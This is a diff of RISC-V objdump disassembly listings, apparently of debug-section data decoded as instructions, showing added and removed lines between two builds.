+     e2e:	0105                	addi	sp,sp,1
+     e30:	0306                	slli	t1,t1,0x1
+     e32:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
+     e36:	0501                	addi	a0,a0,0
+     e38:	030a                	slli	t1,t1,0x2
+     e3a:	097d                	addi	s2,s2,31
+     e3c:	0002                	c.slli64	zero
+     e3e:	0501                	addi	a0,a0,0
+     e40:	0602                	c.slli64	a2
+     e42:	04090103          	lb	sp,64(s2)
+     e46:	0100                	addi	s0,sp,128
+     e48:	0b05                	addi	s6,s6,1
+     e4a:	0306                	slli	t1,t1,0x1
+     e4c:	0900                	addi	s0,sp,144
+     e4e:	0000                	unimp
+     e50:	0501                	addi	a0,a0,0
+     e52:	0602                	c.slli64	a2
+     e54:	04090103          	lb	sp,64(s2)
+     e58:	0100                	addi	s0,sp,128
+     e5a:	0105                	addi	sp,sp,1
+     e5c:	0306                	slli	t1,t1,0x1
+     e5e:	0901                	addi	s2,s2,0
+     e60:	0000                	unimp
+     e62:	0901                	addi	s2,s2,0
+     e64:	0004                	0x4
+     e66:	0100                	addi	s0,sp,128
+     e68:	0501                	addi	a0,a0,0
+     e6a:	0001                	nop
+     e6c:	0205                	addi	tp,tp,1
+     e6e:	1d2a                	slli	s10,s10,0x2a
+     e70:	2040                	fld	fs0,128(s0)
+     e72:	05010c03          	lb	s8,80(sp)
+     e76:	0302                	c.slli64	t1
+     e78:	0901                	addi	s2,s2,0
+     e7a:	0000                	unimp
+     e7c:	0501                	addi	a0,a0,0
+     e7e:	0601                	addi	a2,a2,0
+     e80:	00097f03          	0x97f03
+     e84:	0100                	addi	s0,sp,128
+     e86:	0205                	addi	tp,tp,1
+     e88:	06090103          	lb	sp,96(s2)
+     e8c:	0100                	addi	s0,sp,128
+     e8e:	0105                	addi	sp,sp,1
+     e90:	02097f03          	0x2097f03
+     e94:	0100                	addi	s0,sp,128
+     e96:	0205                	addi	tp,tp,1
+     e98:	02090103          	lb	sp,32(s2)
+     e9c:	0100                	addi	s0,sp,128
+     e9e:	0306                	slli	t1,t1,0x1
+     ea0:	0901                	addi	s2,s2,0
+     ea2:	0004                	0x4
+     ea4:	0501                	addi	a0,a0,0
+     ea6:	0601                	addi	a2,a2,0
+     ea8:	02090103          	lb	sp,32(s2)
      eac:	0100                	addi	s0,sp,128
-     eae:	0605                	addi	a2,a2,1
-     eb0:	0306                	slli	t1,t1,0x1
-     eb2:	0900                	addi	s0,sp,144
-     eb4:	0000                	unimp
-     eb6:	0501                	addi	a0,a0,0
-     eb8:	09000317          	auipc	t1,0x9000
-     ebc:	0002                	c.slli64	zero
-     ebe:	0501                	addi	a0,a0,0
-     ec0:	032e                	slli	t1,t1,0xb
-     ec2:	0900                	addi	s0,sp,144
-     ec4:	0002                	c.slli64	zero
-     ec6:	0501                	addi	a0,a0,0
-     ec8:	0602                	c.slli64	a2
-     eca:	02090103          	lb	sp,32(s2)
+     eae:	0205                	addi	tp,tp,1
+     eb0:	06097f03          	0x6097f03
+     eb4:	0100                	addi	s0,sp,128
+     eb6:	0409                	addi	s0,s0,2
+     eb8:	0000                	unimp
+     eba:	0101                	addi	sp,sp,0
+     ebc:	0105                	addi	sp,sp,1
+     ebe:	0500                	addi	s0,sp,640
+     ec0:	4402                	lw	s0,0(sp)
+     ec2:	401d                	c.li	zero,7
+     ec4:	0320                	addi	s0,sp,392
+     ec6:	02050113          	addi	sp,a0,32 # 19020 <__stack_size+0x18820>
+     eca:	00090103          	lb	sp,0(s2)
      ece:	0100                	addi	s0,sp,128
-     ed0:	12090103          	lb	sp,288(s2)
-     ed4:	0100                	addi	s0,sp,128
-     ed6:	18090303          	lb	t1,384(s2)
-     eda:	0100                	addi	s0,sp,128
-     edc:	2c05                	jal	110c <__stack_size+0x90c>
-     ede:	00090003          	lb	zero,0(s2)
-     ee2:	0100                	addi	s0,sp,128
-     ee4:	00090003          	lb	zero,0(s2)
-     ee8:	0100                	addi	s0,sp,128
-     eea:	0a090003          	lb	zero,160(s2)
+     ed0:	0105                	addi	sp,sp,1
+     ed2:	0306                	slli	t1,t1,0x1
+     ed4:	097f                	0x97f
+     ed6:	0000                	unimp
+     ed8:	0301                	addi	t1,t1,0
+     eda:	0900                	addi	s0,sp,144
+     edc:	000a                	c.slli	zero,0x2
+     ede:	0501                	addi	a0,a0,0
+     ee0:	0304                	addi	s1,sp,384
+     ee2:	0901                	addi	s2,s2,0
+     ee4:	0004                	0x4
+     ee6:	0501                	addi	a0,a0,0
+     ee8:	01030603          	lb	a2,16(t1) # ffff9010 <_heap_end+0x7ffea810>
+     eec:	0209                	addi	tp,tp,2
      eee:	0100                	addi	s0,sp,128
-     ef0:	0205                	addi	tp,tp,1
-     ef2:	02090103          	lb	sp,32(s2)
-     ef6:	0100                	addi	s0,sp,128
-     ef8:	2c05                	jal	1128 <__stack_size+0x928>
-     efa:	00090003          	lb	zero,0(s2)
-     efe:	0100                	addi	s0,sp,128
-     f00:	00090003          	lb	zero,0(s2)
-     f04:	0100                	addi	s0,sp,128
-     f06:	08090003          	lb	zero,128(s2)
-     f0a:	0100                	addi	s0,sp,128
-     f0c:	0306                	slli	t1,t1,0x1
+     ef0:	0805                	addi	a6,a6,1
+     ef2:	0306                	slli	t1,t1,0x1
+     ef4:	0900                	addi	s0,sp,144
+     ef6:	0000                	unimp
+     ef8:	0501                	addi	a0,a0,0
+     efa:	0602                	c.slli64	a2
+     efc:	04090103          	lb	sp,64(s2)
+     f00:	0100                	addi	s0,sp,128
+     f02:	1405                	addi	s0,s0,-31
+     f04:	0306                	slli	t1,t1,0x1
+     f06:	0900                	addi	s0,sp,144
+     f08:	0000                	unimp
+     f0a:	0501                	addi	a0,a0,0
+     f0c:	0302                	c.slli64	t1
      f0e:	0901                	addi	s2,s2,0
-     f10:	0000                	unimp
-     f12:	0301                	addi	t1,t1,0
-     f14:	097f                	0x97f
-     f16:	0002                	c.slli64	zero
-     f18:	0501                	addi	a0,a0,0
-     f1a:	0602                	c.slli64	a2
-     f1c:	02090103          	lb	sp,32(s2)
-     f20:	0100                	addi	s0,sp,128
-     f22:	2c05                	jal	1152 <__stack_size+0x952>
-     f24:	00090003          	lb	zero,0(s2)
+     f10:	0006                	c.slli	zero,0x1
+     f12:	0501                	addi	a0,a0,0
+     f14:	097f030b          	0x97f030b
+     f18:	0002                	c.slli64	zero
+     f1a:	0501                	addi	a0,a0,0
+     f1c:	0602                	c.slli64	a2
+     f1e:	02090103          	lb	sp,32(s2)
+     f22:	0100                	addi	s0,sp,128
+     f24:	06090103          	lb	sp,96(s2)
      f28:	0100                	addi	s0,sp,128
-     f2a:	00090003          	lb	zero,0(s2)
-     f2e:	0100                	addi	s0,sp,128
-     f30:	08090003          	lb	zero,128(s2)
-     f34:	0100                	addi	s0,sp,128
-     f36:	0205                	addi	tp,tp,1
-     f38:	02090103          	lb	sp,32(s2)
-     f3c:	0100                	addi	s0,sp,128
-     f3e:	2c05                	jal	116e <__stack_size+0x96e>
-     f40:	00090003          	lb	zero,0(s2)
-     f44:	0100                	addi	s0,sp,128
-     f46:	00090003          	lb	zero,0(s2)
-     f4a:	0100                	addi	s0,sp,128
-     f4c:	08090003          	lb	zero,128(s2)
-     f50:	0100                	addi	s0,sp,128
-     f52:	0205                	addi	tp,tp,1
-     f54:	02090103          	lb	sp,32(s2)
-     f58:	0100                	addi	s0,sp,128
-     f5a:	2205                	jal	107a <__stack_size+0x87a>
-     f5c:	00090003          	lb	zero,0(s2)
-     f60:	0100                	addi	s0,sp,128
-     f62:	00090003          	lb	zero,0(s2)
-     f66:	0100                	addi	s0,sp,128
-     f68:	0a090003          	lb	zero,160(s2)
-     f6c:	0100                	addi	s0,sp,128
-     f6e:	0205                	addi	tp,tp,1
-     f70:	02090103          	lb	sp,32(s2)
-     f74:	0100                	addi	s0,sp,128
-     f76:	2205                	jal	1096 <__stack_size+0x896>
-     f78:	00090003          	lb	zero,0(s2)
-     f7c:	0100                	addi	s0,sp,128
-     f7e:	00090003          	lb	zero,0(s2)
+     f2a:	0306                	slli	t1,t1,0x1
+     f2c:	0901                	addi	s2,s2,0
+     f2e:	0000                	unimp
+     f30:	0501                	addi	a0,a0,0
+     f32:	030a                	slli	t1,t1,0x2
+     f34:	097f                	0x97f
+     f36:	0002                	c.slli64	zero
+     f38:	0501                	addi	a0,a0,0
+     f3a:	0602                	c.slli64	a2
+     f3c:	04090103          	lb	sp,64(s2)
+     f40:	0100                	addi	s0,sp,128
+     f42:	08090203          	lb	tp,128(s2)
+     f46:	0100                	addi	s0,sp,128
+     f48:	0105                	addi	sp,sp,1
+     f4a:	0306                	slli	t1,t1,0x1
+     f4c:	0901                	addi	s2,s2,0
+     f4e:	0000                	unimp
+     f50:	0901                	addi	s2,s2,0
+     f52:	000e                	c.slli	zero,0x3
+     f54:	0100                	addi	s0,sp,128
+     f56:	0501                	addi	a0,a0,0
+     f58:	0001                	nop
+     f5a:	0205                	addi	tp,tp,1
+     f5c:	1d84                	addi	s1,sp,752
+     f5e:	2040                	fld	fs0,128(s0)
+     f60:	05011f03          	lh	t5,80(sp)
+     f64:	0302                	c.slli64	t1
+     f66:	0902                	c.slli64	s2
+     f68:	0000                	unimp
+     f6a:	0501                	addi	a0,a0,0
+     f6c:	0601                	addi	a2,a2,0
+     f6e:	00097e03          	0x97e03
+     f72:	0100                	addi	s0,sp,128
+     f74:	1f05                	addi	t5,t5,-31
+     f76:	06090203          	lb	tp,96(s2)
+     f7a:	0100                	addi	s0,sp,128
+     f7c:	0105                	addi	sp,sp,1
+     f7e:	08097e03          	0x8097e03
      f82:	0100                	addi	s0,sp,128
-     f84:	0a090003          	lb	zero,160(s2)
+     f84:	06090003          	lb	zero,96(s2)
      f88:	0100                	addi	s0,sp,128
-     f8a:	0205                	addi	tp,tp,1
-     f8c:	02090103          	lb	sp,32(s2)
+     f8a:	1f05                	addi	t5,t5,-31
+     f8c:	02090203          	lb	tp,32(s2)
      f90:	0100                	addi	s0,sp,128
-     f92:	2205                	jal	10b2 <__stack_size+0x8b2>
-     f94:	00090003          	lb	zero,0(s2)
+     f92:	4f05                	li	t5,1
+     f94:	04090003          	lb	zero,64(s2)
      f98:	0100                	addi	s0,sp,128
-     f9a:	00090003          	lb	zero,0(s2)
-     f9e:	0100                	addi	s0,sp,128
-     fa0:	0a090003          	lb	zero,160(s2)
-     fa4:	0100                	addi	s0,sp,128
-     fa6:	0205                	addi	tp,tp,1
-     fa8:	02090103          	lb	sp,32(s2)
-     fac:	0100                	addi	s0,sp,128
-     fae:	2205                	jal	10ce <__stack_size+0x8ce>
-     fb0:	00090003          	lb	zero,0(s2)
-     fb4:	0100                	addi	s0,sp,128
-     fb6:	00090003          	lb	zero,0(s2)
-     fba:	0100                	addi	s0,sp,128
-     fbc:	0a090003          	lb	zero,160(s2)
+     f9a:	1805                	addi	a6,a6,-31
+     f9c:	04090003          	lb	zero,64(s2)
+     fa0:	0100                	addi	s0,sp,128
+     fa2:	0205                	addi	tp,tp,1
+     fa4:	0306                	slli	t1,t1,0x1
+     fa6:	0902                	c.slli64	s2
+     fa8:	000a                	c.slli	zero,0x2
+     faa:	0301                	addi	t1,t1,0
+     fac:	0902                	c.slli64	s2
+     fae:	0000                	unimp
+     fb0:	0501                	addi	a0,a0,0
+     fb2:	0003062f          	0x3062f
+     fb6:	0009                	c.nop	2
+     fb8:	0100                	addi	s0,sp,128
+     fba:	0205                	addi	tp,tp,1
+     fbc:	0c090003          	lb	zero,192(s2)
      fc0:	0100                	addi	s0,sp,128
-     fc2:	0205                	addi	tp,tp,1
-     fc4:	02090203          	lb	tp,32(s2)
-     fc8:	0100                	addi	s0,sp,128
-     fca:	0505                	addi	a0,a0,1
-     fcc:	0306                	slli	t1,t1,0x1
-     fce:	0900                	addi	s0,sp,144
-     fd0:	0000                	unimp
-     fd2:	0501                	addi	a0,a0,0
-     fd4:	09020303          	lb	t1,144(tp) # 90 <__stack_size-0x770>
-     fd8:	0004                	0x4
-     fda:	0301                	addi	t1,t1,0
-     fdc:	0901                	addi	s2,s2,0
-     fde:	000e                	c.slli	zero,0x3
-     fe0:	0301                	addi	t1,t1,0
-     fe2:	0901                	addi	s2,s2,0
-     fe4:	000c                	0xc
-     fe6:	0301                	addi	t1,t1,0
-     fe8:	0901                	addi	s2,s2,0
-     fea:	000c                	0xc
-     fec:	0301                	addi	t1,t1,0
-     fee:	0901                	addi	s2,s2,0
-     ff0:	0010                	0x10
-     ff2:	0301                	addi	t1,t1,0
-     ff4:	0901                	addi	s2,s2,0
-     ff6:	0010                	0x10
-     ff8:	0301                	addi	t1,t1,0
-     ffa:	0902                	c.slli64	s2
-     ffc:	0014                	0x14
-     ffe:	0301                	addi	t1,t1,0
-    1000:	0901                	addi	s2,s2,0
-    1002:	000c                	0xc
-    1004:	0501                	addi	a0,a0,0
-    1006:	0311                	addi	t1,t1,4
-    1008:	000c096f          	jal	s2,c1008 <__stack_size+0xc0808>
-    100c:	0501                	addi	a0,a0,0
-    100e:	09120303          	lb	t1,145(tp) # 91 <__stack_size-0x76f>
-    1012:	0002                	c.slli64	zero
-    1014:	0501                	addi	a0,a0,0
-    1016:	0311                	addi	t1,t1,4
-    1018:	096e                	slli	s2,s2,0x1b
-    101a:	000c                	0xc
-    101c:	0501                	addi	a0,a0,0
-    101e:	09130303          	lb	t1,145(t1) # 9000f49 <__stack_size+0x9000749>
-    1022:	0002                	c.slli64	zero
-    1024:	0501                	addi	a0,a0,0
-    1026:	0311                	addi	t1,t1,4
-    1028:	096d                	addi	s2,s2,27
-    102a:	0014                	0x14
-    102c:	0501                	addi	a0,a0,0
-    102e:	09030603          	lb	a2,144(t1)
-    1032:	0409                	addi	s0,s0,2
-    1034:	0100                	addi	s0,sp,128
-    1036:	00090103          	lb	sp,0(s2)
-    103a:	0100                	addi	s0,sp,128
-    103c:	00090103          	lb	sp,0(s2)
+     fc2:	0306                	slli	t1,t1,0x1
+     fc4:	0901                	addi	s2,s2,0
+     fc6:	0012                	c.slli	zero,0x4
+     fc8:	0501                	addi	a0,a0,0
+     fca:	060d                	addi	a2,a2,3
+     fcc:	00090003          	lb	zero,0(s2)
+     fd0:	0100                	addi	s0,sp,128
+     fd2:	0205                	addi	tp,tp,1
+     fd4:	0306                	slli	t1,t1,0x1
+     fd6:	0902                	c.slli64	s2
+     fd8:	0010                	0x10
+     fda:	0501                	addi	a0,a0,0
+     fdc:	00030623          	sb	zero,12(t1)
+     fe0:	0009                	c.nop	2
+     fe2:	0100                	addi	s0,sp,128
+     fe4:	0a05                	addi	s4,s4,1
+     fe6:	04090103          	lb	sp,64(s2)
+     fea:	0100                	addi	s0,sp,128
+     fec:	1505                	addi	a0,a0,-31
+     fee:	04097f03          	0x4097f03
+     ff2:	0100                	addi	s0,sp,128
+     ff4:	0205                	addi	tp,tp,1
+     ff6:	02090403          	lb	s0,32(s2)
+     ffa:	0100                	addi	s0,sp,128
+     ffc:	1505                	addi	a0,a0,-31
+     ffe:	02097c03          	0x2097c03
+    1002:	0100                	addi	s0,sp,128
+    1004:	0205                	addi	tp,tp,1
+    1006:	02090403          	lb	s0,32(s2)
+    100a:	0100                	addi	s0,sp,128
+    100c:	1f05                	addi	t5,t5,-31
+    100e:	04097c03          	0x4097c03
+    1012:	0100                	addi	s0,sp,128
+    1014:	0205                	addi	tp,tp,1
+    1016:	02090403          	lb	s0,32(s2)
+    101a:	0100                	addi	s0,sp,128
+    101c:	1f05                	addi	t5,t5,-31
+    101e:	04097c03          	0x4097c03
+    1022:	0100                	addi	s0,sp,128
+    1024:	0205                	addi	tp,tp,1
+    1026:	0306                	slli	t1,t1,0x1
+    1028:	0901                	addi	s2,s2,0
+    102a:	0004                	0x4
+    102c:	0301                	addi	t1,t1,0
+    102e:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
+    1032:	0301                	addi	t1,t1,0
+    1034:	00020903          	lb	s2,0(tp) # 0 <__stack_size-0x800>
+    1038:	0501                	addi	a0,a0,0
+    103a:	0604                	addi	s1,sp,768
+    103c:	00090003          	lb	zero,0(s2)
     1040:	0100                	addi	s0,sp,128
-    1042:	00090103          	lb	sp,0(s2)
-    1046:	0100                	addi	s0,sp,128
-    1048:	00090103          	lb	sp,0(s2)
-    104c:	0100                	addi	s0,sp,128
-    104e:	00090103          	lb	sp,0(s2)
-    1052:	0100                	addi	s0,sp,128
-    1054:	00090203          	lb	tp,0(s2)
-    1058:	0100                	addi	s0,sp,128
-    105a:	00090103          	lb	sp,0(s2)
-    105e:	0100                	addi	s0,sp,128
-    1060:	00090103          	lb	sp,0(s2)
-    1064:	0100                	addi	s0,sp,128
-    1066:	00090103          	lb	sp,0(s2)
-    106a:	0100                	addi	s0,sp,128
-    106c:	00090103          	lb	sp,0(s2)
-    1070:	0100                	addi	s0,sp,128
-    1072:	12090103          	lb	sp,288(s2)
-    1076:	0100                	addi	s0,sp,128
-    1078:	0105                	addi	sp,sp,1
-    107a:	0306                	slli	t1,t1,0x1
-    107c:	0904                	addi	s1,sp,144
-    107e:	0014                	0x14
-    1080:	0901                	addi	s2,s2,0
-    1082:	0016                	c.slli	zero,0x5
-    1084:	0100                	addi	s0,sp,128
-    1086:	0501                	addi	a0,a0,0
-    1088:	0015                	c.nop	5
-    108a:	0205                	addi	tp,tp,1
-    108c:	206c                	fld	fa1,192(s0)
-    108e:	2040                	fld	fs0,128(s0)
-    1090:	0101e803          	0x101e803
-    1094:	0205                	addi	tp,tp,1
-    1096:	00090b03          	lb	s6,0(s2)
-    109a:	0100                	addi	s0,sp,128
-    109c:	00090203          	lb	tp,0(s2)
-    10a0:	0100                	addi	s0,sp,128
-    10a2:	1405                	addi	s0,s0,-31
-    10a4:	00090003          	lb	zero,0(s2)
-    10a8:	0100                	addi	s0,sp,128
-    10aa:	1505                	addi	a0,a0,-31
-    10ac:	0306                	slli	t1,t1,0x1
-    10ae:	00000973          	0x973
+    1042:	0305                	addi	t1,t1,1
+    1044:	0306                	slli	t1,t1,0x1
+    1046:	0901                	addi	s2,s2,0
+    1048:	0006                	c.slli	zero,0x1
+    104a:	0501                	addi	a0,a0,0
+    104c:	0302                	c.slli64	t1
+    104e:	0902                	c.slli64	s2
+    1050:	0004                	0x4
+    1052:	0501                	addi	a0,a0,0
+    1054:	0601                	addi	a2,a2,0
+    1056:	00090203          	lb	tp,0(s2)
+    105a:	0100                	addi	s0,sp,128
+    105c:	0e09                	addi	t3,t3,2
+    105e:	0000                	unimp
+    1060:	0101                	addi	sp,sp,0
+    1062:	0105                	addi	sp,sp,1
+    1064:	0500                	addi	s0,sp,640
+    1066:	1002                	c.slli	zero,0x20
+    1068:	401e                	0x401e
+    106a:	0320                	addi	s0,sp,392
+    106c:	02050137          	lui	sp,0x2050
+    1070:	00090103          	lb	sp,0(s2)
+    1074:	0100                	addi	s0,sp,128
+    1076:	00090103          	lb	sp,0(s2)
+    107a:	0100                	addi	s0,sp,128
+    107c:	0105                	addi	sp,sp,1
+    107e:	0306                	slli	t1,t1,0x1
+    1080:	097e                	slli	s2,s2,0x1f
+    1082:	0000                	unimp
+    1084:	0501                	addi	a0,a0,0
+    1086:	030c                	addi	a1,sp,384
+    1088:	0904                	addi	s1,sp,144
+    108a:	0006                	c.slli	zero,0x1
+    108c:	0501                	addi	a0,a0,0
+    108e:	0301                	addi	t1,t1,0
+    1090:	097c                	addi	a5,sp,156
+    1092:	0008                	0x8
+    1094:	0301                	addi	t1,t1,0
+    1096:	0900                	addi	s0,sp,144
+    1098:	0006                	c.slli	zero,0x1
+    109a:	0501                	addi	a0,a0,0
+    109c:	030c                	addi	a1,sp,384
+    109e:	0904                	addi	s1,sp,144
+    10a0:	0002                	c.slli64	zero
+    10a2:	0501                	addi	a0,a0,0
+    10a4:	0325                	addi	t1,t1,9
+    10a6:	0900                	addi	s0,sp,144
+    10a8:	0004                	0x4
+    10aa:	0501                	addi	a0,a0,0
+    10ac:	031f 0901 0004      	0x40901031f
     10b2:	0501                	addi	a0,a0,0
-    10b4:	0302                	c.slli64	t1
-    10b6:	00020917          	auipc	s2,0x20
+    10b4:	097d0307          	0x97d0307
+    10b8:	000c                	0xc
     10ba:	0501                	addi	a0,a0,0
-    10bc:	0315                	addi	t1,t1,5
-    10be:	0969                	addi	s2,s2,26
-    10c0:	0004                	0x4
+    10bc:	0304                	addi	s1,sp,384
+    10be:	0906                	slli	s2,s2,0x1
+    10c0:	0010                	0x10
     10c2:	0501                	addi	a0,a0,0
-    10c4:	0302                	c.slli64	t1
-    10c6:	00080917          	auipc	s2,0x80
+    10c4:	097a0307          	0x97a0307
+    10c8:	0002                	c.slli64	zero
     10ca:	0501                	addi	a0,a0,0
-    10cc:	0315                	addi	t1,t1,5
-    10ce:	0969                	addi	s2,s2,26
-    10d0:	0002                	c.slli64	zero
-    10d2:	0501                	addi	a0,a0,0
-    10d4:	0302                	c.slli64	t1
-    10d6:	0918                	addi	a4,sp,144
-    10d8:	0002                	c.slli64	zero
-    10da:	0501                	addi	a0,a0,0
-    10dc:	0315                	addi	t1,t1,5
-    10de:	0968                	addi	a0,sp,156
-    10e0:	0004                	0x4
-    10e2:	0501                	addi	a0,a0,0
-    10e4:	0302                	c.slli64	t1
-    10e6:	0918                	addi	a4,sp,144
-    10e8:	0002                	c.slli64	zero
-    10ea:	0501                	addi	a0,a0,0
-    10ec:	0315                	addi	t1,t1,5
-    10ee:	0968                	addi	a0,sp,156
-    10f0:	0002                	c.slli64	zero
-    10f2:	0501                	addi	a0,a0,0
-    10f4:	0302                	c.slli64	t1
-    10f6:	0919                	addi	s2,s2,6
-    10f8:	0002                	c.slli64	zero
-    10fa:	0301                	addi	t1,t1,0
-    10fc:	0905                	addi	s2,s2,1
-    10fe:	000a                	c.slli	zero,0x2
-    1100:	0301                	addi	t1,t1,0
-    1102:	097c                	addi	a5,sp,156
-    1104:	0002                	c.slli64	zero
-    1106:	0501                	addi	a0,a0,0
-    1108:	0306                	slli	t1,t1,0x1
-    110a:	0910                	addi	a2,sp,144
-    110c:	0004                	0x4
-    110e:	0501                	addi	a0,a0,0
-    1110:	0302                	c.slli64	t1
-    1112:	0970                	addi	a2,sp,156
-    1114:	0002                	c.slli64	zero
-    1116:	0501                	addi	a0,a0,0
-    1118:	0304                	addi	s1,sp,384
-    111a:	0002091b          	0x2091b
-    111e:	0501                	addi	a0,a0,0
-    1120:	0302                	c.slli64	t1
-    1122:	0966                	slli	s2,s2,0x19
-    1124:	0004                	0x4
-    1126:	0301                	addi	t1,t1,0
-    1128:	0901                	addi	s2,s2,0
-    112a:	0006                	c.slli	zero,0x1
-    112c:	0301                	addi	t1,t1,0
-    112e:	0901                	addi	s2,s2,0
-    1130:	0006                	c.slli	zero,0x1
-    1132:	0301                	addi	t1,t1,0
-    1134:	0901                	addi	s2,s2,0
-    1136:	0006                	c.slli	zero,0x1
-    1138:	0501                	addi	a0,a0,0
-    113a:	0315                	addi	t1,t1,5
-    113c:	0962                	slli	s2,s2,0x18
-    113e:	0006                	c.slli	zero,0x1
-    1140:	0501                	addi	a0,a0,0
-    1142:	0314                	addi	a3,sp,384
-    1144:	090d                	addi	s2,s2,3
-    1146:	0004                	0x4
-    1148:	0501                	addi	a0,a0,0
-    114a:	0602                	c.slli64	a2
-    114c:	04090103          	lb	sp,64(s2) # 81106 <__stack_size+0x80906>
-    1150:	0100                	addi	s0,sp,128
-    1152:	1405                	addi	s0,s0,-31
-    1154:	00090003          	lb	zero,0(s2)
-    1158:	0100                	addi	s0,sp,128
-    115a:	0205                	addi	tp,tp,1
-    115c:	04090103          	lb	sp,64(s2)
-    1160:	0100                	addi	s0,sp,128
-    1162:	00090103          	lb	sp,0(s2)
-    1166:	0100                	addi	s0,sp,128
-    1168:	00090103          	lb	sp,0(s2)
-    116c:	0100                	addi	s0,sp,128
-    116e:	00090503          	lb	a0,0(s2)
-    1172:	0100                	addi	s0,sp,128
-    1174:	00090103          	lb	sp,0(s2)
-    1178:	0100                	addi	s0,sp,128
-    117a:	00090103          	lb	sp,0(s2)
-    117e:	0100                	addi	s0,sp,128
-    1180:	00090103          	lb	sp,0(s2)
-    1184:	0100                	addi	s0,sp,128
-    1186:	00090103          	lb	sp,0(s2)
-    118a:	0100                	addi	s0,sp,128
-    118c:	00090103          	lb	sp,0(s2)
-    1190:	0100                	addi	s0,sp,128
-    1192:	00090103          	lb	sp,0(s2)
-    1196:	0100                	addi	s0,sp,128
-    1198:	00090103          	lb	sp,0(s2)
-    119c:	0100                	addi	s0,sp,128
-    119e:	00090103          	lb	sp,0(s2)
-    11a2:	0100                	addi	s0,sp,128
-    11a4:	00090203          	lb	tp,0(s2)
-    11a8:	0100                	addi	s0,sp,128
-    11aa:	0705                	addi	a4,a4,1
-    11ac:	00090003          	lb	zero,0(s2)
-    11b0:	0100                	addi	s0,sp,128
-    11b2:	1005                	c.nop	-31
-    11b4:	00090003          	lb	zero,0(s2)
-    11b8:	0100                	addi	s0,sp,128
-    11ba:	0305                	addi	t1,t1,1
-    11bc:	00090203          	lb	tp,0(s2)
-    11c0:	0100                	addi	s0,sp,128
-    11c2:	1f05                	addi	t5,t5,-31
-    11c4:	0306                	slli	t1,t1,0x1
-    11c6:	0900                	addi	s0,sp,144
-    11c8:	0000                	unimp
-    11ca:	0501                	addi	a0,a0,0
-    11cc:	0311                	addi	t1,t1,4
-    11ce:	0900                	addi	s0,sp,144
-    11d0:	000a                	c.slli	zero,0x2
-    11d2:	0501                	addi	a0,a0,0
-    11d4:	0628                	addi	a0,sp,776
-    11d6:	04090003          	lb	zero,64(s2)
-    11da:	0100                	addi	s0,sp,128
-    11dc:	2b05                	jal	170c <__stack_size+0xf0c>
-    11de:	0306                	slli	t1,t1,0x1
-    11e0:	0900                	addi	s0,sp,144
-    11e2:	0000                	unimp
-    11e4:	0501                	addi	a0,a0,0
-    11e6:	02030603          	lb	a2,32(t1)
-    11ea:	0209                	addi	tp,tp,2
-    11ec:	0100                	addi	s0,sp,128
-    11ee:	0805                	addi	a6,a6,1
-    11f0:	0306                	slli	t1,t1,0x1
-    11f2:	0900                	addi	s0,sp,144
-    11f4:	0000                	unimp
-    11f6:	0001                	nop
-    11f8:	0402                	c.slli64	s0
-    11fa:	0304                	addi	s1,sp,384
-    11fc:	0900                	addi	s0,sp,144
-    11fe:	000e                	c.slli	zero,0x3
-    1200:	0301                	addi	t1,t1,0
-    1202:	0900                	addi	s0,sp,144
-    1204:	000e                	c.slli	zero,0x3
-    1206:	0001                	nop
-    1208:	0402                	c.slli64	s0
-    120a:	0308                	addi	a0,sp,384
-    120c:	0900                	addi	s0,sp,144
-    120e:	0004                	0x4
-    1210:	0301                	addi	t1,t1,0
-    1212:	0900                	addi	s0,sp,144
-    1214:	000e                	c.slli	zero,0x3
-    1216:	0001                	nop
-    1218:	0402                	c.slli64	s0
-    121a:	030c                	addi	a1,sp,384
-    121c:	0900                	addi	s0,sp,144
-    121e:	0004                	0x4
-    1220:	0501                	addi	a0,a0,0
-    1222:	04020003          	lb	zero,64(tp) # 40 <__stack_size-0x7c0>
-    1226:	060c                	addi	a1,sp,768
-    1228:	08090203          	lb	tp,128(s2)
-    122c:	0100                	addi	s0,sp,128
-    122e:	0200                	addi	s0,sp,256
-    1230:	0c04                	addi	s1,sp,528
-    1232:	00090203          	lb	tp,0(s2)
-    1236:	0100                	addi	s0,sp,128
-    1238:	0805                	addi	a6,a6,1
-    123a:	0200                	addi	s0,sp,256
-    123c:	0c04                	addi	s1,sp,528
-    123e:	0306                	slli	t1,t1,0x1
-    1240:	0900                	addi	s0,sp,144
-    1242:	0000                	unimp
-    1244:	0501                	addi	a0,a0,0
-    1246:	04020003          	lb	zero,64(tp) # 40 <__stack_size-0x7c0>
-    124a:	060c                	addi	a1,sp,768
-    124c:	06090203          	lb	tp,96(s2)
-    1250:	0100                	addi	s0,sp,128
-    1252:	0605                	addi	a2,a2,1
-    1254:	0200                	addi	s0,sp,256
-    1256:	0c04                	addi	s1,sp,528
-    1258:	0306                	slli	t1,t1,0x1
-    125a:	0900                	addi	s0,sp,144
-    125c:	0002                	c.slli64	zero
-    125e:	0501                	addi	a0,a0,0
-    1260:	0604                	addi	s1,sp,768
-    1262:	04090103          	lb	sp,64(s2)
-    1266:	0100                	addi	s0,sp,128
-    1268:	1605                	addi	a2,a2,-31
-    126a:	0306                	slli	t1,t1,0x1
-    126c:	0901                	addi	s2,s2,0
-    126e:	0000                	unimp
-    1270:	0501                	addi	a0,a0,0
-    1272:	030a                	slli	t1,t1,0x2
-    1274:	097f                	0x97f
-    1276:	0004                	0x4
-    1278:	0501                	addi	a0,a0,0
-    127a:	0304                	addi	s1,sp,384
-    127c:	0902                	c.slli64	s2
-    127e:	0004                	0x4
-    1280:	0501                	addi	a0,a0,0
-    1282:	0316                	slli	t1,t1,0x5
-    1284:	097f                	0x97f
-    1286:	0008                	0x8
-    1288:	0501                	addi	a0,a0,0
-    128a:	030a                	slli	t1,t1,0x2
-    128c:	097f                	0x97f
-    128e:	0002                	c.slli64	zero
-    1290:	0501                	addi	a0,a0,0
-    1292:	0604                	addi	s1,sp,768
-    1294:	02090103          	lb	sp,32(s2)
-    1298:	0100                	addi	s0,sp,128
-    129a:	0805                	addi	a6,a6,1
-    129c:	0306                	slli	t1,t1,0x1
-    129e:	0900                	addi	s0,sp,144
-    12a0:	0000                	unimp
-    12a2:	0501                	addi	a0,a0,0
-    12a4:	0604                	addi	s1,sp,768
-    12a6:	02090103          	lb	sp,32(s2)
-    12aa:	0100                	addi	s0,sp,128
-    12ac:	0306                	slli	t1,t1,0x1
-    12ae:	0905                	addi	s2,s2,1
-    12b0:	0000                	unimp
-    12b2:	0501                	addi	a0,a0,0
